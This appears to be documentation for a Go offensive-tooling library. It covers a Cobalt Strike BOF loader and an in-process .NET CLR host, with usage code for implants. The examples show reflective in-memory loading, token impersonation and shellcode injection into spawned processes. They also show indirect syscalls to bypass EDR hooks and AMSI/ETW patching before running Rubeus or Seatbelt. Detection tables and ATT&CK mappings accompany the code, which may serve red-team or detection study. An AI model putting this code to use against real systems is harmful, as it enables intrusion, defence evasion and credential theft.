The same three-line pattern (Load → Execute → Close) wrapped in one call. Five helpers cover the common cases:
// 1. One-shot from bytes (embedded via go:embed, decrypted in
// memory, ...). Load + Execute + Close in one line.
out, err := bof.RunFromBytes(coffBytes, nil)
// 2. One-shot from disk. The stealthopen.Opener parameter is
// optional — nil falls back to os.Open. Pass a *Stealth /
// *MultiStealth to read the file via NTFS Object-ID and
// bypass path-based EDR file hooks.
out, err := bof.RunFromFile(nil, "whoami.o", nil)
// 3. Crash-isolated one-shot. Identical to RunFromBytes but
// spawns the entry on a sacrificial OS thread with VEH-
// mediated fault catching. Required: a non-zero timeout.
out, err := bof.RunSafe(coffBytes, args, 5*time.Second)
// 4. Pack a list of strings without the NewArgs boilerplate.
args := bof.ArgsFromStrings("target.exe", "C:\\Windows\\System32")
out, err := bof.RunFromBytes(coffBytes, args)
Prefer the long form (Load + many Execute + Close) when the
same *BOF runs many times — the prepare pass amortises across
calls. Use the helpers for genuinely one-shot workloads.
Composed — chain multiple BOFs
for _, path := range []string{"whoami.o", "netstat.o", "tasklist.o"} {
data, _ := os.ReadFile(path)
b, err := bof.Load(data)
if err != nil {
continue
}
out, _ := b.Execute(nil)
fmt.Printf("=== %s ===\n%s\n", path, out)
}
Advanced — pack arguments via Args
data, _ := os.ReadFile("parse_args.o")
b, _ := bof.Load(data)
a := bof.NewArgs()
a.AddInt(42)
a.AddString("hello-args")
out, _ := b.Execute(a.Pack())
fmt.Println(string(out))
The wire format is little-endian to match the Cobalt Strike
canonical: TrustedSec COFFLoader, Outflank etc. read length
prefixes via memcpy into a native int, which on x64 is a
little-endian load. Use AddInt / AddShort for fixed-width
ints, AddString for length-prefixed NUL-terminated strings,
AddBytes for raw blobs.
Spec.Sacrificial + Spec.Timeout — crash isolation via Run (v0.156.0+)
The Run(ctx, Spec) façade now honours the same sacrificial-thread
contract as (*BOF).SetSacrificialThread:
res, err := bof.Run(ctx, bof.Spec{
Bytes: coffBytes,
Args: args,
Sacrificial: true,
Timeout: 30 * time.Second, // mandatory when Sacrificial is set
})
Sacrificial=true without a Timeout returns ErrSacrificialNoTimeout —
the package refuses to launch a thread with no wall-clock cap (zero
to WaitForSingleObject means "wait forever" and is almost never
what an implant wants).
Architecture routing — x64 in-process, x86 cross-process (v0.155.0+)
bof.Run sniffs the COFF Machine field and dispatches: x64
runs in-process, x86 runs in a spawned SysWOW64\rundll32.exe
via the cross-process loader DLL embedded under the
bof_x86_loader build tag. Without the tag, x86 input returns
the sentinel bof.ErrCrossArchX86Unsupported so callers can
branch on architecture without parsing the file themselves.
import (
"context"
"errors"
"os"
"github.com/oioio-space/maldev/runtime/bof"
)
data, _ := os.ReadFile(bofPath)
res, err := bof.Run(context.Background(), bof.Spec{Bytes: data})
switch {
case err == nil:
// Auto-routed: x64 ran in-process, x86 ran in a WoW64 helper
// if the implant was built with `-tags=bof_x86_loader`.
fmt.Println(string(res.Output))
case errors.Is(err, bof.ErrCrossArchX86Unsupported):
// 32-bit .o detected and this implant was NOT compiled with
// `bof_x86_loader`. The build-tag gate keeps the implant
// small for missions that don't need x86 — rebuild with the
// tag (or fall back to a separate 32-bit implant) when an
// x86 BOF actually shows up in the corpus.
log.Printf("skip %s: rebuild with -tags=bof_x86_loader", bofPath)
default:
log.Printf("bof.Run failed: %v", err)
}
bof.DetectKind(data) is also exported if a caller wants to
classify the bytes without running them — handy for triage
tools that enumerate a public corpus before execution. See
runtime/bof/internal/x86loader/README.md for the x86 loader
architecture (Beacon API symbol surface, parent ↔ helper IPC,
threat model).
Token impersonation + spawn-and-inject
The slice-1 surface lets a CS BOF impersonate, spawn a sacrificial target, and inject without any extra glue:
b, _ := bof.Load(coffBytes)
b.SetSpawnTo(`C:\Windows\System32\notepad.exe`)
b.SetUserData(payloadShellcode) // optional, surfaced via BeaconGetCustomUserData
out, _ := b.Execute(nil)
// The BOF internally calls:
// BeaconUseToken(handle) → ImpersonateLoggedOnUser
// BeaconSpawnTemporaryProcess(...) → CreateProcess suspended
// BeaconInjectTemporaryProcess(...) → write + CreateRemoteThread + Resume
// BeaconRevertToken() → RevertToSelf
fmt.Println(string(out))
Execute pins the goroutine to its OS thread for the entire call, so the impersonation in step 1 is honoured by the syscalls the BOF issues in later steps.
Reuse — prepare once, run many (v0.153.0+)
A single *BOF can be Execute'd any number of times. The
expensive load work runs lazily on the first call and is cached
on the BOF; subsequent calls skip straight to the entry point.
Cost breakdown per call:
| Phase | First Execute | Subsequent Execute |
|---|---|---|
| Parse sections | ✓ | — |
| VirtualAlloc + section copy | ✓ | — |
| Resolve imports (PEB walk × N) | ✓ | — |
| Apply relocations | ✓ | — |
| VirtualProtect RW→RX | ✓ | — |
| Reset writable sections (if not persistent) | — | ✓ (cheap) |
| Call entry | ✓ | ✓ |
import "github.com/oioio-space/maldev/runtime/bof"
bytes, _ := os.ReadFile("whoami.o")
b, _ := bof.Load(bytes)
defer b.Close() // releases the cached RX mapping + .pdata unwind table
// First call: full parse + alloc + reloc + execute.
out1, _ := b.Execute(nil)
fmt.Println(string(out1))
// Second call: reuses the mapping, just re-runs the entry.
out2, _ := b.Execute(nil)
fmt.Println(string(out2))
Close() — release the cached mapping
b, _ := bof.Load(bytes)
out, _ := b.Execute(nil)
if err := b.Close(); err != nil {
log.Printf("Close: %v", err)
}
// After Close, Execute returns an error rather than crashing.
_, err := b.Execute(nil)
if err != nil {
// "runtime/bof: Execute on closed BOF"
}
Close is idempotent — multiple calls are safe. It does
two things in order: RtlDeleteFunctionTable (unregister the
.pdata unwind entries from Bundle E) then VirtualFree (drop
the RX mapping). A runtime.SetFinalizer in Load is a safety
net for callers who forget Close, but Go finalizer timing isn't
guaranteed: long-lived implants should Close explicitly to free
the mapping in a timely fashion.
SetPersistent — stateful vs stateless BOFs (v0.153.0+)
SetPersistent arbitrates whether writable sections (.data,
.bss, .rdata-with-writes) are restored between Execute
calls.
| Mode | Behaviour | Suits |
|---|---|---|
false (default) | Each Execute restores writable sections to their initial bytes | Stateless BOFs — hello_beacon, parse_args, realworld_calls, most CS-SA-BOF corpus |
true | Writable sections retain whatever the BOF wrote on the previous Execute | Stateful BOFs that intentionally cache cross-call state in .data — Fortra No-Consolation's LIBS_LOADED cache + handle-info struct |
Must be called before the first Execute — see
ErrAlreadyPrepared.
Stateless (default) — every call sees fresh memory
b, _ := bof.Load(parseArgsBytes)
defer b.Close()
// .data globals zero'd before each Execute. The BOF observes
// the same initial state on every call regardless of what
// previous calls wrote.
for _, arg := range []string{"alice", "bob", "carol"} {
a := bof.NewArgs(); a.AddString(arg)
out, _ := b.Execute(a.Pack())
fmt.Printf("%s → %s\n", arg, out)
}
Persistent — share state across Execute calls
b, _ := bof.Load(noConsolationBytes)
defer b.Close()
if err := b.SetPersistent(true); err != nil {
// SetPersistent before Execute always succeeds — error
// means the caller flipped it AFTER the first Execute,
// which is a contract violation (ErrAlreadyPrepared).
log.Fatal(err)
}
// Iteration 1: No-Consolation cold-loads all DLL dependencies,
// stores their handles in LIBS_LOADED (a .data global) via
// BeaconAddValue.
b.Execute(packArgs(pe1))
// Iteration 2: LIBS_LOADED is still warm — the BOF skips the
// LoadLibrary chain entirely.
b.Execute(packArgs(pe2))
SetPersistent after Execute → ErrAlreadyPrepared
b, _ := bof.Load(bytes)
defer b.Close()
b.Execute(nil) // runs prepare() — locks the persistence mode
if err := b.SetPersistent(true); errors.Is(err, bof.ErrAlreadyPrepared) {
// Expected: flipping the mode after prepare would leave
// the writable-section snapshots inconsistent. Decide at
// Load time which mode you want.
}
SetSacrificialThread — crash isolation (v0.154.0+)
By default a BOF runs on the same OS thread as the implant.
A wild pointer deref, stack overflow, or busted relocation
inside the BOF triggers a Windows SEH exception that
propagates through Go's runtime handler and ends in
TerminateProcess — the implant dies with the BOF.
SetSacrificialThread(timeout) enables crash isolation: the
BOF runs on a dedicated thread, a process-wide Vectored
Exception Handler intercepts faults whose address lies inside
the BOF mapping, redirects the faulting thread to an
ExitThread(1) stub, and the host Execute call returns a
clean Go error. The implant keeps running.
| Mode | When BOF AVs | Host process |
|---|---|---|
| Inline (default) | SEH → Go runtime → TerminateProcess | dies with the BOF |
Sacrificial (SetSacrificialThread > 0) | VEH catches in-mapping fault → ExitThread → host gets error | survives |
Honest limitations
- Token impersonation does not cross threads by default — use
SetExecuteAsTokento pin one.BeaconUseTokeninside the BOF impersonates on the BOF's sacrificial thread; the host goroutine keeps its original token. To start the sacrificial thread under a specific identity, call(*BOF).SetExecuteAsToken(token)beforeExecute— the loader applies it viaSetThreadTokenbetweenCreateThread(SUSPENDED)andResumeThread. BOFs that rely on chained token state across calls still need to manage the chain themselves. - Only faults inside the BOF mapping are caught. A BOF
that passes a NULL pointer to
kernel32!HeapAlloctakes the fault inside kernel32 — outside the BOF range — and still terminates the implant. The VEH range check is onExceptionAddress, not on the calling BOF. TerminateThread(used on timeout) leaks the thread's stack + any kernel objects it held. Windows-design limitation. Set timeouts generously; this is a last-resort kill, not a routine cancellation primitive.
Inline (default) — same thread, fastest
b, _ := bof.Load(coffBytes)
defer b.Close()
// SetSacrificialThread NOT called → inline path.
// If this BOF AVs, the implant dies.
out, _ := b.Execute(args)
Sacrificial — implant survives BOF crashes
b, _ := bof.Load(coffBytes)
defer b.Close()
// 5-second wall-clock cap. Zero would disable.
if err := b.SetSacrificialThread(5 * time.Second); err != nil {
log.Fatal(err) // ErrAlreadyPrepared if called after Execute
}
out, err := b.Execute(args)
switch {
case err == nil:
// Happy path — BOF returned normally.
fmt.Println(string(out))
case strings.Contains(err.Error(), "BOF crashed with exception"):
// BOF AVed / stack-overflowed / executed an illegal
// instruction inside its own mapping. Implant is still
// alive; err carries the exception code + faulting PC.
log.Printf("BOF crash isolated: %v", err)
case strings.Contains(err.Error(), "BOF timeout"):
// BOF ran longer than the timeout; the sacrificial
// thread was terminated. Output captured up to the
// timeout is in `out`.
log.Printf("BOF timeout, partial output: %s", out)
default:
// Other Execute error — usually a Load/prepare problem
// surfaced lazily on the first call.
log.Fatal(err)
}
Mixing knobs
Every knob below is independent — pick what fits your threat model and combine freely:
b, _ := bof.Load(realworldCallsBytes)
defer b.Close()
b.SetSpawnTo(`C:\Windows\System32\notepad.exe`)
b.SetUserData(payload) // surfaced via BeaconGetCustomUserData
b.SetPersistent(false) // default — fresh .data per call
b.SetSacrificialThread(30 * time.Second) // implant survives BOF crashes
b.SetCaller(myIndirectCaller) // route BeaconInjectProcess via Nt*
b.SetExecuteAsToken(impersonationToken) // run the sacrificial thread under that token
for _, target := range targets {
out, err := b.Execute(packArgs(target))
if err != nil {
// Whatever the BOF does inside, this `err` is
// recoverable: bad BOF code, bad target, timeout.
// The implant doesn't die.
log.Printf("%s: %v", target, err)
continue
}
process(out)
}
SetCaller — route cross-process Beacon API via *wsyscall.Caller (v0.156.0+)
BeaconInjectProcess (and the spawn/inject combos that build on
it) drives three cross-process kernel32 calls: VirtualAllocEx,
WriteProcessMemory, CreateRemoteThread. By default these go
through the kernel32 wrappers; under userland-hooking EDR they
appear in the API trail. SetCaller redirects all three through
a *wsyscall.Caller so they route via NtAllocateVirtualMemory
/ NtWriteVirtualMemory / NtCreateThreadEx — direct, indirect,
hells-gate, or any combination the operator builds.
import (
"github.com/oioio-space/maldev/runtime/bof"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Indirect syscalls with a hells-gate-style SSN resolver.
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
defer caller.Close()
b, _ := bof.Load(coffBytes)
defer b.Close()
b.SetCaller(caller)
_, _ = b.Execute(args)
nil — the default — keeps the kernel32 path. The Caller's
lifetime is operator-owned: BOF.Close does NOT call
caller.Close, so the same Caller can be shared across many
BOFs and inject sites. Matches the convention used across
inject.
Scope: only the
BeaconInjectProcessprimitives route through the Caller. Dynamic imports the BOF itself resolves —__imp_KERNEL32$VirtualAlloc,__imp_ADVAPI32$OpenProcessToken,__imp_NTDLL$Nt*, etc. — are patched into the BOF's import table at prepare time as direct function addresses (PEB walk + ROR13 export match). When the BOF later issuesmov reg, [rip+slot]; call reg, it jumps straight to the resolved function and bypasses the operator's Caller entirely.For full coverage of BOF Win32 calls, clean ntdll instead: the public-corpus audit (CS-SA, 37 BOFs, 652 imports) shows 55% are kernel32/advapi32/etc. wrappers and only 0.4% are
Nt*direct — so a per-import shim would only intercept the 0.4%. The pragmatic answer isevasion/unhook: once ntdll'sNt*thunks are restored to their on-disk bytes,kernel32!VirtualAlloc→ntdll!NtAllocateVirtualMemoryinternally goes through a clean syscall stub, no hook fires. PairSetCallerwithevasion/unhookfor end-to-end bypass.See
.dev/refactor-2026/bundle-i-import-routing.mdfor the closed design discussion + corpus data.
SetExecuteAsToken — pin a token on the sacrificial thread (v0.156.0+)
Closes the historical limitation where BeaconUseToken inside
the BOF impersonated only on the sacrificial thread but
Execute started that thread under the host's primary token.
With SetExecuteAsToken, the loader applies SetThreadToken
between CreateThread(SUSPENDED) and ResumeThread — the BOF
entry runs under the supplied identity from instruction zero.
Requires SeImpersonatePrivilege (admin / service contexts by
default) or a token the caller is permitted to assign.
import (
"github.com/oioio-space/maldev/runtime/bof"
"golang.org/x/sys/windows"
)
// Duplicate the current process's primary token to an
// impersonation-grade copy with TOKEN_IMPERSONATE rights.
var primary windows.Token
_ = windows.OpenProcessToken(windows.CurrentProcess(),
windows.TOKEN_DUPLICATE|windows.TOKEN_QUERY, &primary)
defer windows.CloseHandle(windows.Handle(primary))
var dup windows.Token
_ = windows.DuplicateTokenEx(primary,
windows.TOKEN_IMPERSONATE|windows.TOKEN_QUERY,
nil,
windows.SecurityImpersonation, windows.TokenImpersonation,
&dup)
defer windows.CloseHandle(windows.Handle(dup))
b, _ := bof.Load(coffBytes)
defer b.Close()
b.SetSacrificialThread(5 * time.Second) // required — token only applies on the sacrificial path
b.SetExecuteAsToken(dup)
_, _ = b.Execute(args)
Zero — the default — keeps the host's primary token. Has no
effect on inline Execute (the host's own token always
applies on that path).
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
VirtualAlloc(RW) → VirtualProtect(RX) cycle on a single mapping (the loader pattern) | Behavioural EDR — generic reflective-loader signal even after the RWX→RX-flip mitigation. The two-syscall cadence is itself a tell |
MEM_TOP_DOWN allocation with IMAGE_SCN_MEM_EXECUTE content not backed by a loaded module | ETW Microsoft-Windows-Threat-Intelligence (TI events) |
| BOF entry-point execution from non-image memory | Defender for Endpoint MsSense |
RtlAddFunctionTable for a non-image RUNTIME_FUNCTION array (Bundle E) | Niche; few products inspect, but kernel ETW captures the kernel-side registration |
syscall.NewCallback thunk pages (≈ 28 × 4 KB at first Load) | Small VAD entries with characteristic prologue bytes — same signature any Go program with native callbacks emits |
D3FEND counters:
- D3-PA — execute-from-allocation telemetry (RX-after-flip still trips the more thorough EDRs).
- D3-FCA — YARA on the loaded bytes.
Hardening for the operator (already in the loader by default):
- RW → RX flip via
VirtualProtectafter relocations land (loader behaviour since v0.151 — no RWX is ever exposed). MEM_TOP_DOWNplacement (high-address bias reduces collision with the host's heap + the most naive low-RVA scanner rules).- Encrypt the BOF at rest via
crypto; decrypt + load + immediately re-encrypt the source buffer. - Pair with
evasion/sleepmaskfor cleartext-at-rest mitigation. - Bypass kernel32 userland hooks on the cross-process Beacon API
via
(*BOF).SetCaller.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | partial — in-memory native code execution | D3-PA |
| T1620 | Reflective Code Loading | full — COFF reflective load | D3-FCA, D3-PA |
Limitations
-
Execute is amortised, not free (v0.153+). The first call on a
*BOFruns the full loader pass (parse +VirtualAlloc+ relocations + RW→RX flip +.pdataregistration). Subsequent calls reuse the mapping — ideal for callers likeruntime/pethat load one.oand run it many times. Caller responsibility: callClose()explicitly when done. Theruntime.SetFinalizersafety net inLoadwill eventuallyRtlDeleteFunctionTable+VirtualFree, but Go finalizer timing isn't guaranteed; long-lived implants leaking RX mappings is a real liability. -
Default Execute is stateless. Writable sections (
.data,.bss,.rdata-with-writes) are restored to their initial bytes between Execute calls. BOFs that intentionally cache state in their.data(No-Consolation'sLIBS_LOADEDcache) needSetPersistent(true)before the first Execute. -
Beacon-API surface — full 28-symbol set (slice 1, v0.151+). All
beacon.hgroups are wired:- Data parsing:
BeaconDataParse/DataInt/DataShort/DataLength/DataExtract. - Output / format:
BeaconPrintf+BeaconFormatPrintf(format string forwarded verbatim — varargs caveat below),BeaconOutput,BeaconFormatAlloc/Reset/Free/Append/Int/ToString,BeaconErrorD/ErrorDD/ErrorNA. - Tokens:
BeaconUseToken(ImpersonateLoggedOnUser) /BeaconRevertToken(RevertToSelf). Execute pins the goroutine to its OS thread for the BOF call so the impersonation is honoured by subsequent Win32 calls; weRevertToSelfon Execute exit as a safety net. - Injection:
BeaconInjectProcess(VirtualAllocEx + WriteProcessMemory + CreateRemoteThread on a host handle),BeaconSpawnTemporaryProcess(CreateProcesssuspended on the configured SpawnTo —rundll32.exeby default),BeaconInjectTemporaryProcess(spawn + inject + resume, teardown on failure),BeaconCleanupProcess(terminate + close). - Helpers:
BeaconIsAdmin,BeaconGetCustomUserData(blob configured via(*BOF).SetUserData),toWideChar(UTF-8 → UTF-16LE, NUL-terminated). - Key-value store:
BeaconAddValue/BeaconGetValue/BeaconRemoveValue. Scope is the single Execute call — cross-Run state must go through the implant. Any unknown__imp_Beacon*import still fails at relocation time withunresolved external symbol __imp_BeaconXxx— loud and traceable rather than silent NULL-patching.
- Data parsing:
-
BeaconFormatAlloc buffers live one Execute call. Slices produced by
BeaconFormatAllocare held on the*BOF(per-instance map, not a process-global).BeaconFormatFreedrops the entry; whatever the BOF forgets to free is reclaimed automatically when the nextExecutestarts and onClose(). A BOF that crashes mid-call no longer leaks its format buffer for the process lifetime. -
SEH unwind via
RtlAddFunctionTable. Every COFF with a non-empty.pdatasection gets its RUNTIME_FUNCTION entries registered with the kernel duringprepareso the OS unwinder can resolve frames inside the BOF mapping. Without this, a BOF that raises a structured exception (C++throw, compiler- emitted bounds check,RaiseException) would abort during the unwind walk — the kernel could not find a function entry for the BOF's PC. Registration is silent on failure (malformed.pdata→ the BOF still runs, just without SEH support).ClosecallsRtlDeleteFunctionTablebeforeVirtualFreeto avoid leaving dangling unwind context. -
Cross-process Beacon API routes via optional
*wsyscall.Caller.BeaconInjectProcessand the spawn/inject combos useVirtualAllocEx+WriteProcessMemory+CreateRemoteThreadby default. Operators that need to bypass userland hooks on these kernel32 surfaces call(*BOF).SetCallerwith any*wsyscall.Caller(direct / indirect / indirect-asm / hells-gate). The helpers (beaconRemoteAlloc,beaconRemoteWrite,beaconRemoteCreateThread) then route throughNtAllocateVirtualMemory/NtWriteVirtualMemory/NtCreateThreadEx. nil Caller keeps the kernel32 path — matches the convention used acrossinject. -
Pointer-safety probes on
%s/ Beacon string reads.BeaconPrintf("%s", p)(and any callback that dereferences a BOF-suppliedchar*/wchar_t*) routes throughwin/api.CStringFromPtrandwin/api.WStringFromPtr. Both callVirtualQueryonce to clamp the walk to the committed region containing the pointer, so a malformed, freed, or guard-page-crossing pointer returns""instead of faulting the host. The wide-string heuristic inexpandCFormatshares the same probe viaSafeRegionBytes. -
BeaconPrintf/BeaconFormatPrintfvarargs are not expanded.syscall.NewCallbackbinds a fixed-arity Go function as a stdcall callback; Go cannot introspect cdecl varargs from inside the callback. We chose option (a) in the design discussion: forward the format string verbatim. BOFs that pass a literal format with no%directives behave correctly; BOFs relying onprintf-style expansion see the format string raw.Two alternatives were considered and rejected for the default build:
-
(b) Leave
__imp_BeaconPrintf/BeaconFormatPrintfunresolved so BOFs that depend on varargs fail at load time with a loud error. Honest but breaks compatibility with the large TrustedSec / Outflank corpus whereBeaconPrintf(CALLBACK_OUTPUT, "...")is used as a no-args writer in 80% of cases. -
(c) Implement varargs via cgo. A C wrapper around
vsnprintfwould expand the format and call back into Go with the rendered string. Requires:- A C cross-compile toolchain in the build environment (mingw-w64 on Linux dev hosts, MSVC on Windows CI).
- CGO_ENABLED=1 — flips the entire library out of pure-Go mode, which the README sells as a hard guarantee.
- A different binary surface in
runtime/boffor cgo vs. pure-Go builds, plus a build-tag matrix.
The cost is steep relative to the gain (a minority of BOFs). Operators who need full vararg expansion can fork the package, drop a
bof_cgo_windows.gofile behind//go:build windows && cgo && bof_cgo, and supply a C-sidevsnprintfwrapper they register via a hook hung offresolveBeaconImport. That extension point is intentionally left open; the default build prioritises pure-Go and accepts the verbatim-format trade-off.
-
-
External Win32 imports — two forms supported. CS-canonical dollar-form (
__imp_KERNEL32$LoadLibraryA) resolves viaparseDollarImport→api.ResolveByHash(PEB walk + ROR13 module/function hash, noGetProcAddress/LoadLibrarycall appears in the API trail). Mingw-w64 bare form (__imp_LoadLibraryAwith no DLL prefix) resolves by walking a curated module list — kernel32, advapi32, user32, ws2_32, ole32, shell32 — first hit wins. Symbols not in the curated set still fail loudly. Add a module tobareImportSearchOrderinbeacon_api_windows.goif a particular BOF needs more coverage. -
Concurrency: BOF execution is serialised package-wide. The Beacon API stubs read a single
currentBOFpointer guarded bybofMu. ConcurrentExecutecalls — including across different*BOFinstances — block on each other. This matches the CS-compatible loader convention (BOF execution is fundamentally single-threaded) and keeps the Beacon callback state coherent without per-call dispatch. Implications:- Setters (
SetUserData,SetSpawnTo,SetSpawnToX86,SetCaller,SetExecuteAsToken,SetPersistent,SetSacrificialThread) are NOT lock-protected. They are safe to call before the firstExecuteor betweenExecutecalls; calling them from a host goroutine while a sacrificial-thread Execute is in flight is a race the package does not currently guard against. Until a per-BOF mutex lands, callers that need to mutate state mid-flight should drive each BOF from a single goroutine. Errors()afterClose()returns the FINAL Execute's buffer, not nil. The byte buffer is not zeroed at teardown — post-mortem inspection works.syscall.NewCallbackcost at first Load. Resolving the Beacon import map allocates one RX page per callback (~28 symbols on the default build → ≈112 KB of RX pages), via Go's runtime. Pages live for the process lifetime and show up as small VAD entries with the syscall thunk pattern. Identical to every Go program that usessyscall.NewCallback.
- Setters (
-
x86 BOFs supported via cross-process reflective load (
-tags=bof_x86_loader, v0.155.0+). An x86.o(Machine == 0x014c) is detected asKindCOFFx86byDetectKindand routed through thecoffX86Loader. With thebof_x86_loaderbuild tag active, the orchestrator manually reflective-loads a small i386 DLL (runtime/bof/internal/x86loader/bof_x86_loader.x86.dll, ~11 KB) into a freshly-spawnedSysWOW64\rundll32.exevia VirtualAllocEx + WriteProcessMemory + .reloc application + CreateRemoteThread. The loader DLL parses the BOF.oinside the WoW64 helper, implements 25 Beacon API symbols (full beacon.h Groups 1–6 +BeaconGetOutputData+ the four Inject/Spawn process-control entries), and writes captured output into a parent-allocated RW region the parentReadProcessMemory's back. Zero disk artefacts, zeroLoadLibrarycall on the loader. Default builds (no tag) surfacebof.ErrCrossArchX86Unsupported— operatorserrors.Isagainst it. Seeruntime/bof/internal/x86loader/README.mdfor the architecture diagram, ABI, and threat-model notes. -
Relocation coverage.
IMAGE_REL_AMD64_ABSOLUTE(no-op),_ADDR64,_ADDR32(errors out cleanly when target exceeds 32-bit range),_ADDR32NB,_REL32, and the_REL32_1through_REL32_5bias variants. Exotic relocations (TLS, GOT,_SECTION,_SECREL) are not supported — the loader fails withunsupported relocation type: 0xNNso the failure mode is obvious instead of a silent corruption. -
No RWX is exposed. The loader allocates
PAGE_READWRITEthen flips exec sections toPAGE_EXECUTE_READafter relocations land. Hardened EDRs still flag theVirtualAlloc→VirtualProtect(EXECUTE)cadence on a fresh mapping — pair withevasion/sleepmaskto hide the mapping at rest.
See also
runtime/clr— sibling reflective runtime (.NET).crypto— encrypt BOF at rest.evasion/sleepmask— hide BOF bytes at rest.- Operator path.
- Detection eng path.
CLR (.NET) in-process hosting
TL;DR
You want to run a .NET assembly (Mimikatz / SharpHound /
Rubeus / Seatbelt) inside your implant without dropping .exe
to disk and without spawning powershell.exe -enc .... This
package hosts the CLR in your process and runs the assembly
from memory.
| You want to… | Use | Notes |
|---|---|---|
| Run an assembly from disk | Run | Loads file, hosts CLR, calls EntryPoint |
| Run an assembly from memory bytes | RunBytes | Pre-decrypted assembly never lands on disk |
Pass Main(string[] args) arguments | Config.Args | Forwarded to the assembly's entry point |
| Capture stdout/stderr from the assembly | Config.Stdout / Config.Stderr | io.Writer interface; default = os.Stdout / os.Stderr |
⚠ AMSI v2 scans every AppDomain.Load_3 payload —
SharpHound, Rubeus, Seatbelt will be blocked unless you patch
AMSI first. Apply evasion/amsi.PatchAll
or preset.Stealth BEFORE calling Run.
What this DOES achieve:
- Equivalent to Cobalt Strike's
execute-assembly— same capability, native Go. - No
.exeon disk; no child-process creation; nopowershell.exe -enc(which is the textbook EDR trigger). - COM-based hosting via
ICLRMetaHost/ICorRuntimeHost— works against .NET 4.x runtimes (most Windows installs).
What this does NOT achieve:
- Doesn't bypass AMSI — must be done upstream.
- Doesn't bypass ETW DotNETRuntime provider — JIT events (assembly load, method compile) fire to that provider regardless. Defenders subscribed see the assembly load.
- CLR loads only once per process — first call wins. Can't
swap runtimes between
Runcalls. - Pre-.NET 4.0 / .NET Core / .NET 5+ unsupported — those use a different hosting API. Most operator tools target 4.x because Windows ships it.
Primer
The Common Language Runtime is the .NET execution engine. Any
process can host the CLR by importing mscoree.dll and calling
CLRCreateInstance. The hosting process gets a managed runtime
inside its address space and can load + invoke .NET assemblies
without spawning dotnet.exe / powershell.exe.
Operationally:
- Run SharpHound / Rubeus / Seatbelt / GhostPack tooling
in-process from a Go implant — no separate
.exeto drop, no process-tree anomaly. - Side-step
dotnet.exe/powershell.exelineage rules. - Bridge to the entire .NET ecosystem for credential dumping, token theft, AD enumeration.
The trade-offs are loud:
- Loading
clr.dll+mscoreei.dllin a non-.NET process is itself a high-fidelity heuristic. - AMSI v2 scans every
Load_3call; without an AMSI patch most published tooling is blocked. - ETW Microsoft-Windows-DotNETRuntime emits assembly-load events.
How It Works
sequenceDiagram
participant Imp as "Implant"
participant MH as "ICLRMetaHost"
participant RT as "ICLRRuntimeInfo"
participant Host as "ICorRuntimeHost"
participant AD as "AppDomain (default)"
participant Asm as "managed assembly"
Imp->>Imp: mscoree.CLRCreateInstance
Imp->>MH: GetRuntime("v4.0.30319")
MH-->>RT: ICLRRuntimeInfo
Imp->>RT: GetInterface(CLSID_CLRRuntimeHost, IID_ICorRuntimeHost)
RT-->>Host: ICorRuntimeHost
Imp->>Host: Start
Imp->>Host: GetDefaultDomain
Host-->>AD: IUnknown → IDispatch
Imp->>AD: Load_3(SAFEARRAY[byte])
AD-->>Asm: loaded assembly
Imp->>Asm: EntryPoint.Invoke(args)
Asm-->>Imp: managed code runs in-proc
Load(nil) picks the preferred installed runtime
(v4 > legacy). For .NET 3.5 (legacy) targets call
[InstallRuntimeActivationPolicy] first to register the required
CLSID — disabled by default on modern Windows. The package
returns [ErrLegacyRuntimeUnavailable] when the legacy runtime
can't be activated.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/runtime/clr is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — load + execute
import (
"os"
"github.com/oioio-space/maldev/runtime/clr"
)
rt, err := clr.Load(nil)
if err != nil {
return
}
defer rt.Close()
asm, _ := os.ReadFile("Seatbelt.exe")
_ = rt.ExecuteAssembly(asm, []string{"-group=system"})
Composed — AMSI patch + ETW patch + execute
import (
"os"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/runtime/clr"
)
if err := amsi.PatchAll(); err != nil {
return
}
_ = etw.PatchAll()
rt, _ := clr.Load(nil)
defer rt.Close()
asm, _ := os.ReadFile("Rubeus.exe")
_ = rt.ExecuteAssembly(asm, []string{"triage"})
Advanced — list + pick runtime
versions, _ := clr.InstalledRuntimes()
for _, v := range versions {
fmt.Println("installed:", v)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
clr.dll + mscoreei.dll module load in non-.NET host | High-fidelity heuristic — Defender for Endpoint, Elastic, S1 |
AmsiScanBuffer flagging the assembly | AMSI v2 scans every Load_3 — published tooling caught universally |
| Microsoft-Windows-DotNETRuntime ETW provider | Assembly-load events; without ETW patch every load is logged |
ICorRuntimeHost COM activation from non-Microsoft process | EDR COM-activation telemetry |
| Process Hollowing-like behaviour: process metadata says non-.NET, runtime hosts CLR | Behavioural EDR rule |
D3FEND counters:
Hardening for the operator:
- Always patch AMSI (
evasion/amsi.PatchAll) beforeExecuteAssembly. - Pair with
evasion/etwfor the .NET runtime ETW silencing. - Run inside a process where
clr.dllload is plausible (Office, browsers, managed-service hosts). - Pair with
pe/masquerade/preset/svchostif running from a fresh process.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1620 | Reflective Code Loading | full — CLR-hosted in-memory .NET | D3-FCA, D3-PSA |
| T1059 | Command and Scripting Interpreter | partial — in-process .NET execution without dotnet.exe | D3-PSA |
Limitations
- AMSI / ETW upstream patches required for hostile assemblies.
- CLR lifecycle is global per-process. Once started, a CLR
cannot be cleanly unloaded; subsequent
Loadcalls re-use the same instance. - Output capture. Stdout / stderr from the assembly require
redirection setup before
ExecuteAssembly. - AppDomain isolation absent. All assemblies share the default AppDomain; one exception can take down the runtime.
- .NET 3.5 disabled-by-default on modern Windows. Legacy runtime hosting needs the policy install.
[STAThread]requirement. Some assemblies require an STA apartment; running without re-creating that apartment may fail for COM-heavy tooling.
Credit
- ropnop/go-clr — canonical Go port; vendored upstream.
See also
runtime/bof— sibling reflective runtime (COFF / native code).evasion/amsi— REQUIRED for hostile assemblies.evasion/etw— silence .NET runtime ETW.pe/srdi— alternative path for .NET → shellcode via Donut.- Operator path.
- Detection eng path.
Syscall Methods & SSN Resolvers
